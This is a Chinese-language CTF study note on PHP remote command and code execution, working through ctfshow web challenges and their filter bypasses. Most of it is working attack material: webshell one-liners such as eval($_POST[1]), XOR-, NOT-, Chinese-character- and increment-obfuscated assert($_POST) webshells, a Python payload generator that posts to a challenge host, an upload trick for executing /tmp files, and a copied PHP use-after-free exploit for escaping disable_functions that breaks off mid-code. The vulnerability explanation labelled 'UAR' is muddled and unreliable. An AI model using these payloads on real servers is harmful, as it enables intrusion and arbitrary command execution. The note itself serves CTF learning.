命令行执行RCE总结

首先需要明白命令执行和代码执行的区别

命令执行:通过web应用调用系统命令的方式执行

命令行执行常用函数

特殊写法<?=passthru(‘ls’);?>效果与<?php passthru(‘ls’);?>相同,可以用于绕过php被过滤的情况

system():执行外部程序,并显示输出

<?php system("whoami");?>

passthru():效果与system()相同,当system不可以使用的时候可以尝试进行代替

<?php passthru("whoami");?>

exec():只会执行外部程序,需要用echo等使其输出

<?php echo exec("whoami");?>

pcntl_exec():在当前进程空间执行指定程序(不太常用)

<?php pcntl_exec("/bin/bash",array("whoami"))?>

shell_exec():通过shell执行命令并将完整的输出以字符串的方式返回

<?php echo shell_exec("whoami");?>
如果不可以使用()的时候可以用``代替php会尝试将反引号中的内容作为shell命令来执行并输出返回信息
<?php echo `whoami`?>

popen():用于执行系统命令并打开的函数

r读取命令,w写入命令
<?php
$file = popen('whoami', 'r'); 
echo fgets($file);             
pclose($file);                 
?>

代码执行:通过某段脚本或编程语言的代码

代码执行常用的函数

eval():把参数中的字符当作php代码来执行

可以用来上传webshell
<?php eval($_POST[1]);?>
可以用来直接执行系统命令,字符串必须合法且以分号结尾
<?php eval("system(whoami);");?>

assert():与eval效果相同不赘述其原理

可以用来上传webshell
<?php assert($_POST[1])?>
可以用来直接执行系统命令,字符串必须合法且以分号结尾
<?php assert("system(whoami);");?>

call_user_func($a,$b):第一个参数作为调用函数,第二个函数作为回调函数的参数

<?php call_user_func($_POST["func"],$_POST["pass"])?>
func=assert&pass=phpinfo();

creat_function():通过执行代码字符串创建动态函数,用于动态创建并返回一个匿名函数
7.2.0 起被废弃,并自 PHP 8.0.0 起被移除

<?php
   $a= $_POST['func'];
   $b = create_function('$a',"echo $a");
   $b('');
?>
func=phpinfo();

array_map:为数组的每个元素应用回调函数,用于将一个或多个数组中的每个元素都传递给回调函数进行处理,并返回一个处理后的新数组

<?php
   $array = array(0,1,2,3,4,5);
   array_map($_POST['func'],$array);
?>
post:func=phpinfo
php5和php7中对eval等函数的不同操作

php5中

<?php
$a='assert';
echo $a("phpinfo();");
?>

php7中

<?php
$a='phpinfo';
($a)();
?>

Linux系统命令及其绕过

文件读取命令

cd 切换文件或者返回上一级目录
ls 展示目录下的文件
more 显示档案内容
less 与more相同可以进行字符搜索
head 查看文件的头几行
cat 文件查看 cat-n查看文件显示行号
tac 倒着查看文件
tail 查看尾几行 tail -f 会等待文件更新
nl 查看的时候显示行号
od 以二进制形式查看文件
vi 编辑器 vim编辑器+写代码工具
sort 查看方式
uniq 查看方式
grep 查看文件
highlight_file() 读取文件并高亮显示
file_get_contents()
fgets()
file()
readfile()
show_resource() 读取文件并高亮显示
paste 多个文件的内容按列合并在一起。该命令从每个输入文件中读取一行文本,并在输出中使用制表符分割他们
diff 用于比较文本文件之间差异的命令。可以帮助用户查找和标识文件之间的修改、添加或删除行等差异
curl  
base64 将文件以base64的方式是输出
hex 将文件以hex的方式是输出
unicode 将文件以Unicode的方式是输出

管道符绕过

回顾一下管道符的知识点
| 只执行后面那条命令
|| 只执行前面那条命令
& 两条命令都会执行
&& 两条命令都会执行,如果前面是false就不执行后面的直接结束

实战,参考ctfshow web入门42

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

此题还需要了解/dev/null 2>&1
/dev/null 是一个 Linux 命令,用于丢弃命令输出,即不显示标准输出。
2>&1 表示将标准错误输出重定向到标准输出(这也会被丢弃)。
/dev/null 2>&1 意思是将标准输出和标准错误都重定向到 /dev/null 即不回显

可以利用管道符对/dev/null命令进行截断

?c=tac flag.php||

变式题,参考ctfshow web入门50

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

剩下tac的文件读取方式,但是flag被过滤了

Linux中破坏结构的方法

回顾一下Linux中可以用于添加破坏结构并且能够使命令成功执行的一些方法
1.使用”破坏结构
2.使用\破坏结构
3.使用通配符
4.环境变量{$IFS}和$IFS
$IFS简单引用变量,后面无紧跟字符,普通使用
{$IFS}精准引用变量,可拼接其他字符串,拼接、绕过、注入、变量后跟字符场景

5.未定义的变量ca$xt shell.php
6.拼接
a=l;b=s;$a$b ls
a=cat;b=/root/shell.php;$a<$b
a=ca;b=t${IFS}/root/shell.p;c=hp;d=$a$b$c;$d

这里利用”破坏一下结构就能绕过了

?c=tac<fla''g.php||

再来一道变式题,用于详细解释$IFS和{$IFS}的区别

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

空格被过滤了同时空格的编码形式也被过滤了,可以考虑使用$IFS但是会出现一定的问题

?c=ca''t$IFSfl?g.php//并没有拿到flag

$IFSfl?g.php 中,Bash 会尝试解析变量名 IFSfl(不是你想要的 IFS)。
由于没有 {} 包裹,$IFSfl 是非法或未定义的变量 → 为空
所以最终拼接成的是:catfl?g.php,不包含空格,也就不是合法命令
由于正则匹配不到关键词 "cat",就直接执行了 catfl?g.php → 报错或找不到文件

如果要使用$IFS需要添加\,$IFS\fl?g.php可以正常解析

所以此题正确的payload是使用${IFS}

?c=ca”t{$IFS}fl?g.php
?c=ca”t$IFS\fl?g.php

输入输出重定向+通配符绕过

适用于要读取的文件名被过滤

回顾一下通配符的知识点
1.*表示匹配任意数量的任意字符(包括空)
2.?匹配任意单个字符
3.[a-z]匹配范围内的字符
4.[!a~z]或者[^a-z]匹配除范围以外的任意字符
5.{a,b,c}匹配多个字符中的任意一个

回顾一下输入输出重定向的知识点
1.>输入重定向(覆盖文件):将某个命令执行的结果写入到某个文件中,会覆盖文件,不存在文件会新建
2.>>输入重定向(追加到文件末尾):将某个命令执行的结果写入到某个文件中,将其追加到末尾
3.<输出重定向:将文件中的内容当作命令执行

实战payload,此处参考ctfshow web入门29

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

利用通配符+输出重定向读取flag.php拿到对应的flag

?c=system("cat f* >1.txt");

文件包含绕过

适用于过滤了()导致一些php的函数无法使用

一些不需要()的php函数
include require include_once require_once die echo print

回顾一下文件包含中伪协议的知识点
1.php://filter/convert-base64-encode/resource=
2.data://text/plain;base64,PD9waHAgcGFzc3RocnUoInRhYyBmbGFnLnBocCIpPz4=

*3.伪协议包含文件的时候是不支持通配符的使用的

实战payload,此处参考ctfshow web入门36

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

此处过滤了数字字母,_也可以当作变量名使用,可以使用文件包含来绕过

?c=include$_GET[_]?>&_=php://filter/convert.base64-encode/resource=flag.php
?c=include$_GET[_]?>&_=data://text/plain;base64,PD9waHAgcGFzc3RocnUoInRhYyBmbGFnLnBocCIpPz4=

针对第三点的实战,此处参考ctfshow web入门37

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

第一反应是用伪协议将flag.php包含进来,但是过滤了文件名flag,没有多疑伪协议包含文件的时候直接利用了通配符?,试了半天出不来。只能用data协议通过base64编码绕过。

?c=data://text/plain;base64,PD9waHAgcGFzc3RocnUoInRhYyBmbGFnLnBocCIpPz4=

变式题,此处参考ctfshow web入门39

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

这里还是可以用文件包含,但是不能用data://text/plain;base64的方法,因为data://text/plain;base64,PD9waHAgcGFzc3RocnUoInRhYyBmbGFnLnBocCIpPz4=后面会和.php进行拼接导致出错。只需要用普通的data协议就行了此时,?>为php结束符号,后面拼接的.php会被忽略掉,不用管。

?c=data://text/plain,<?php passthru("tac fla*.php")?>

无参RCE绕过

适用于过滤了大部分的字符

1.利用内置函数进行无参RCE

一些无参RCE知识点的补充
print_r()输出内容可以用var_dump、echo、var_export、print代替

用print和echo这两个无法打印数组需要利用implode函数将数组转换成字符串再打印,或者进行json_encode进行json格式的编码后再输出
c=echo(implode(“—“,scandir(“/”)));
c=echo(json_encode(scandir(“/”)));


getcwd()查看当前工作目录
scandir()扫描当前目录及文件输出为数组
array_revers()数组倒置
next()函数指向从第一个指向第二个
show_source()查看文件的内容

实战payload,此处参考ctfshow web入门40

<?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

过滤了非常多的字符,异或,或,与都被过滤了无法使用运算类型的RCE,因此想到了通过内置函数来进行无参RCE

首先查看当前的目录

?c=print_r(getcwd());

之后扫描当前目录将其以数组的形式输出

?c=print_r(getcwd(scandir()));

将数组倒置,并且指向第二个元素

?c=print_r(array_revers(getcwd(scandir())));

最后读取就行了

?c=print_r(show_source(array_revers(getcwd(scandir()))));
2.利用|运算脚本进行无参RCE

骚姿势之利用|运算达成无参RCE
原理与异或运算的无参RCE一样

对大佬的脚本进行详细解析

import re
import requests

url="http://67e43a48-b511-4fcd-b715-74df05737fd1.challenge.ctf.show:8080"

a=[]
ans1=""
ans2=""
for i in range(0,256)://这个 `for` 循环遍历从 0 到 255 的所有整数,代表了所有可能的 ASCII 字符。
    c=chr(i)//`chr(i)` 将数字 `i` 转换为对应的字符。
    tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I)
    if(tmp):
        continue
        #print(tmp.group(0))
    else:
        a.append(i)//如果字符是匹配的(即属于这些可接受字符),则跳过这个字符(`continue`),否则把字符的 ASCII 码加入列表 `a`。

# eval("echo($c);");
mya="system"  #函数名 这里修改!
myb="ls"      #参数
def myfun(k,my)://函数的目的是通过位运算 (`|`,按位或操作) 来生成与字符的 ASCII 值匹配的两个数字,并将其分别存入 `ans1` 和 `ans2` 中。
    global ans1
    global ans2
    for i in range (0,len(a)):
        for j in range(i,len(a)):
            if(a[i]|a[j]==ord(my[k]))://检查 `a[i]` 和 `a[j]` 通过按位或运算得到的值是否等于 `my[k]` 的 ASCII 值。如果满足条件,就把对应的字符 `a[i]` 和 `a[j]` 加入 `ans1` 和 `ans2`。
                ans1+=chr(a[i])
                ans2+=chr(a[j])
                return;
for k in range(0,len(mya)):
    myfun(k,mya)
data1="(\""+ans1+"\"|\""+ans2+"\")"
ans1=""
ans2=""
for k in range(0,len(myb)):
    myfun(k,myb)
data2="(\""+ans1+"\"|\""+ans2+"\")"

data={"c":data1+data2}
r=requests.post(url=url,data=data)
print(r.text)

实战,参考ctfshow web入门41(payload就是上述脚本)

<?php

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>
3.利用通配符进行无参RCE

参考前面通配符的知识点可以利用?构造无参RCE

实战,参考ctfshow web入门54

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

grep文件读取命令+{$IFS}+‘’+?进行绕过

?c=grep${IFS}'{'${IFS}fl???php

变式题,参考ctfshow web入门55

<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

这题比较变态的地方在于拦截了小写的所有字母,因此好像无法利用文件读取的命令

Linux知识点补充
Linux 系统下一切皆文件,命令也是文件是/bin目录下存放的文件,其中base64是含有数字的命令,可以将文件以base64的形式进行输出不是所有的服务器都支持此题可以利用

?c=/???/????64 ????.???
4.上传并可控文件进行无参RCE

参考题目,ctfshow web入门56
参考博客https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html#poc

<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

这里是命令执行还无法利用运算无参RCE,看似毫无解法

Linux知识点补充
1.shell下可以利用.来执行任意脚本

.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。.file执行文件,是不需要file有x权限的
2.Linux文件名支持用glob通配符代替

如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行,这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

我们需要上传文件的POST请求包

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="https://f135ee89-cbf7-464b-9e19-a07aec56fd3f.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

还需要解决/tmp/phpXXXXXX中字母的出来,glob支持用[^x]的方法来构造“这个位置不是字符x,glob支持利用[0-9]来表示一个范围”翻开ascii码表,可见大写字母位于@[之间/tmp/phpXXXXXX就可以表示为/*/?????????/???/????????[@-[]]

5.$(())绕过

参考题目,ctfshow web入门57

<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

只需要传入36就能拿到flag

Linux知识点补充
$(())=0
$((~ $(()) ))=-1

基于次知识点构造出$((~-37))就可以得到36

?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))) ))))
6.利用异或运算脚本绕过

简述原理
a ^ payload = c
payload = a ^ c

<?php
$shell = "_POST";
$result1 = "";
$result2 = "";
for($num=0;$num<strlen($shell);$num++)
{
    for($x=33;$x<126;$x++)
    {
        if(judge(chr($x)))
        {
            for($y=33;$y<=126;$y++)
            {
                if(judge(chr($y)))
                {
                    $f = chr($x)^chr($y);
                    if($f == $shell[$num])
                    {
                        $result1 .= chr($x);
                        $result2 .= chr($y);
                        break 2;
                    }
                }
            }
        }
    }
}
echo "'" . $result1;
echo "'^'";
echo $result2 . "'";

function judge($c)
{
    if(!preg_match('/[a-z0-9]/is',$c))
    {
        return true;
    }
    return false;
}
?>

构造payload

<?php
$_ = "!((%)("^"@[[@[\\";   //构造出assert
$__ = "!+/(("^"~{`{|";   //构造出_POST
$___ = $$__;   //$___ = $_POST
$_($___[_]);   //assert($_POST[_]);
?>
7.利用取反脚本绕过

构造payload

<?php
$a = urlencode(~'phpinfo');
echo $a;
// %8F%97%8F%96%91%99%90
?>

基于此构造payload

<?php
$_ = ~"%9e%8c%8c%9a%8d%8b";   //得到assert,此时$_="assert"
$__ = ~"%a0%af%b0%ac%ab";   //得到_POST,此时$__="_POST"
$___ = $$__;   //$___=$_POST
$_($___[_]);   //assert($_POST[_])
?>
$_=~"%9e%8c%8c%9a%8d%8b";$__=~"%a0%af%b0%ac%ab";$___=$$__;$_($___[_]);
8.中文字符截取绕过

原理简述

php > echo ~('瞰'[1]);
a
php > echo ~('和'[1]);
s
php > echo ~('和'[1]);
s
php > echo ~('的'[1]);
e
php > echo ~('半'[1]);
r
php > echo ~('始'[1]);
t

基于此可以构造出payload

.=复合运算符
$x="Hello";
$x .= " world!";
echo $x; // 输出Hello world! 
<?php
$__=('>'>'<')+('>'>'<'); //True+True=2;$__=2
$_=$__/$__; //$_=2/2=1
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
// 得到assert
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
// 得到_POST
$_=$$_____;
// 得到$_POST数组
$____($_[$__]);
// 相当于执行了assert($_POST[2])
?>
9.纯字母递增绕过

原理简述

在处理字符变量的算数运算时,PHP沿袭了Perl 的习惯,而非C的。例如,在Perl中$a='Z'; a++; 将把 a变成AA,注意字符变量只能递增,不能递减,并且只支持纯字母(a-z和A-Z) 。递增/递减其他字符变量则无效,原字符串没有变化。

<?php
$a = 'a';
$a ++;
var_dump($a);
$a --;
$a --;
var_dump($a);
var_dump($a);
?>
后续无论多少次--都不会改变因此$a='b'
当$a='Z'的时候
<?php
$a = 'Z';
$a ++;
var_dump($a);
$a --;
$a --;
var_dump($a);
var_dump($a);
?>

数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。 在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:再取这个字符串的第一个字母,就可以获得’A’了。

基于此构造出payload

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=@$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
@$___($_[_]); // ASSERT($_POST[_]);
?>

源码劫持输出缓冲绕过

参考题目,ctfshow web入门71

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

缓冲区知识点补充
缓冲区(Buffer)就是在内存中预留指定大小的存储空间用来对I/O的数据做临时存储,这部分预留的内存空间叫缓冲区。也就是说,在内存空间中预留了一定的存储空间,这些存储空间用来缓冲输入或输出的数据,这部分预留的空间就叫做缓冲区。

ob_start()开启了缓冲控制
ob_get_contents:返回输出缓冲区的内容,只是得到缓冲区的内容,但不清除它。
ob_end_clean:清空(擦除)缓冲区并关闭输出缓冲。

此题进行了缓冲控制将要输出的数据塞入输出缓冲中,源码劫持了输出缓冲并且将数字和字母替换成了?,所以最后输出的全是?

绕过方法

方法一利用函数提前将输出缓冲中的数据输出
在劫持输出缓冲区之前就把缓冲区送出,可以用的函数有:
ob_flush();
ob_end_flush();

方法二提前终止程序,执行完了代码之后直接退出而不进入输出缓冲中
提前终止程序,即执行完代码直接退出,可以调用的函数有
exit();
die();

?c=echo(json_encode(scandir("/flag.php")));die();

变式题,ctfshow web入门72

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

看似源码一样,但是尝试后发现只能读取当前的目录,无法读取其他的目录

PHP安全指令知识补充
原因是开启了open_basedir,open_basedir是PHP的一个安全配置指令,用来限制PHP脚本只能访问访问特定的目录,但是不允许访问其它的目录所以根目录无法被访问

glob伪协议绕过

PHP伪协议中的glob伪协议可以用于获取指定模式的文件路径列表,可以用于远程读取文件系统或者压缩文件中的文件列表,其筛选目录不受open_basedir的限制,可以用于绕过

c=$a=new DirectoryIterator("glob:///*");
//创建了一个新的 `DirectoryIterator` 实例,并将它赋值给 `$a` 和 `$c` 两个变量。
//`DirectoryIterator` 是 PHP 中的一个类,用于遍历指定目录中的文件。
//glob:///*是一个特殊的路径模式,它使用了 `glob` 语法来指定要查找的文件。具体来说,`glob:///*` 表示从根目录开始匹配所有的文件和文件夹。
foreach($a as $f)
{
   echo($f->__toString().' ');//`$f->__toString()` 调用 `DirectoryIterator` 类的 `__toString()` 方法,该方法会返回当前文件或目录的路径(作为字符串)。
}
exit(0);

现在只是确定了flag文件存在的位置,还需要读取文件,但是读取文件的时候又受到了open_basedir()限制,这里需要利用UAF脚本进行绕过

PHP的UAR漏洞

PHP UAF漏洞知识点补充
uaf漏洞此漏洞利用PHP垃圾收集器中存在三年的一个 bug,通过PHP垃圾收集器中堆溢出来绕过disable_functions并执行系统命令。

PHP UAR(Uninitialized Array)垃圾回收漏洞 是一种与 PHP 内存管理相关的安全漏洞,涉及到 PHP 的垃圾回收机制(GC)以及数组的未初始化状态。该漏洞最早出现在 PHP 7 版本中,并通过特定的方式,利用 PHP 垃圾回收机制中的漏洞实现攻击。下面是简要的概述:

  1. 问题背景:

在 PHP 中,垃圾回收机制负责管理内存的分配和释放,确保不会出现内存泄漏。当一个变量不再被引用时,垃圾回收机制会将其销毁并回收内存。在 PHP 中,数组是非常常见的数据结构,且垃圾回收机制会追踪和清理未使用的数组。

UAR(Uninitialized Array)问题,简单来说,是 PHP 在处理某些数组操作时,错误地认为一个数组对象被初始化或已经不再使用,从而在垃圾回收时过早地释放掉这个数组内存,导致数据损坏或者内存泄漏等问题。

  1. 漏洞触发条件:

UAR 漏洞通常在以下情况下出现:

  • 数组的元素被删除或重置时。
  • PHP 引擎错误地处理了数组引用和垃圾回收之间的关系。
  • 代码中存在数组未完全初始化的情况,或者存在对未初始化的数组元素进行操作的行为。
  1. 漏洞原理:

当 PHP 引擎执行垃圾回收时,它需要标记和清理不再使用的内存。如果数组被认为是“未初始化”的(即,数组中没有实际数据,或者数组没有持久化的数据引用),PHP 可能会错误地回收这些数组,而不是将它们保持在内存中,或者清除它们的部分元素。

攻击者可以通过构造特定的代码,使得这些未初始化的数组触发垃圾回收机制,从而导致:

  • 内存泄漏:敏感数据被错误清除或覆盖,导致数据丢失。
  • 数据篡改:攻击者可以利用这种问题篡改数组的状态,从而影响应用的正常行为。
  • 信息泄露:通过特定操作,可能导致泄露一些本不该泄露的内存内容。
  1. 漏洞利用:

攻击者利用这个漏洞通常需要:

  • 通过某些特定的输入触发数组的“未初始化”状态。
  • 利用垃圾回收的不当行为,执行特定的内存操作或数据篡改。

攻击者可以通过精心构造的输入来触发垃圾回收过程,使得内存释放不当,从而控制或者泄漏敏感信息。

  1. 防范措施:

为了避免 UAR 垃圾回收漏洞的出现,开发者可以采取以下措施:

  • 确保数组初始化:在使用数组之前,确保它们已经正确初始化并包含期望的值。
  • 避免直接删除数组元素:避免直接删除数组元素或对其进行未初始化的操作。应当始终确保数组的引用和数据完整性。
  • 升级 PHP 版本:该漏洞通常存在于较早的 PHP 版本中(如 PHP 7.x),因此,升级到最新版本的 PHP 会有助于修复该问题。PHP 的开发团队已经发布了多个版本修复了该漏洞。
  • 垃圾回收相关的内存管理增强:对于开发者来说,了解垃圾回收机制的工作原理,并对数组和对象的生命周期进行更精细的管理,可以减少这类漏洞的发生。

UAR脚本(大佬脚本的搬运)

c=function ctfshow($cmd) { global $abc, $helper, $backtrace;

class Vuln {
    public $a;
    public function __destruct() { 
        global $backtrace; 
        unset($this->a);
        $backtrace = (new Exception)->getTrace();
        if(!isset($backtrace[1]['args'])) {
            $backtrace = debug_backtrace();
        }
    }
}

class Helper {
    public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
    $address = 0;
    for($j = $s-1; $j >= 0; $j--) {
        $address <<= 8;
        $address |= ord($str[$p+$j]);
    }
    return $address;
}

function ptr2str($ptr, $m = 8) {
    $out = "";
    for ($i=0; $i < $m; $i++) {
        $out .= sprintf("%c",($ptr & 0xff));
        $ptr >>= 8;
    }
    return $out;
}

function write(&$str, $p, $v, $n = 8) {
    $i = 0;
    for($i = 0; $i < $n; $i++) {
        $str[$p + $i] = sprintf("%c",($v & 0xff));
        $v >>= 8;
    }
}

function leak($addr, $p = 0, $s = 8) {
    global $abc, $helper;
    write($abc, 0x68, $addr + $p - 0x10);
    $leak = strlen($helper->a);
    if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
    return $leak;
}

function parse_elf($base) {
    $e_type = leak($base, 0x10, 2);

    $e_phoff = leak($base, 0x20);
    $e_phentsize = leak($base, 0x36, 2);
    $e_phnum = leak($base, 0x38, 2);

    for($i = 0; $i < $e_phnum; $i++) {
        $header = $base + $e_phoff + $i * $e_phentsize;
        $p_type  = leak($header, 0, 4);
        $p_flags = leak($header, 4, 4);
        $p_vaddr = leak($header, 0x10);
        $p_memsz = leak($header, 0x28);

        if($p_type == 1 && $p_flags == 6) { 

            $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
            $data_size = $p_memsz;
        } else if($p_type == 1 && $p_flags == 5) { 
            $text_size = $p_memsz;
        }
    }

    if(!$data_addr || !$text_size || !$data_size)
        return false;

    return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
    list($data_addr, $text_size, $data_size) = $elf;
    for($i = 0; $i < $data_size / 8; $i++) {
        $leak = leak($data_addr, $i * 8);
        if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
            $deref = leak($leak);
            
            if($deref != 0x746e6174736e6f63)
                continue;
        } else continue;

        $leak = leak($data_addr, ($i + 4) * 8);
        if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
            $deref = leak($leak);
            
            if($deref != 0x786568326e6962)
                continue;
        } else continue;

        return $data_addr + $i * 8;
    }
}

function get_binary_base($binary_leak) {
    $base = 0;
    $start = $binary_leak & 0xfffffffffffff000;
    for($i = 0; $i < 0x1000; $i++) {
        $addr = $start - 0x1000 * $i;
        $leak = leak($addr, 0, 7);
        if($leak == 0x10102464c457f) {
            return $addr;
        }
    }
}

function get_system($basic_funcs) {
    $addr = $basic_funcs;
    do {
        $f_entry = leak($addr);
        $f_name = leak($f_entry, 0, 6);

        if($f_name == 0x6d6574737973) {
            return leak($addr + 8);
        }
        $addr += 0x20;
    } while($f_entry != 0);
    return false;
}

function trigger_uaf($arg) {

    $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
    $vuln = new Vuln();
    $vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
    die('This PoC is for *nix systems only.');
}

$n_alloc = 10; 
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
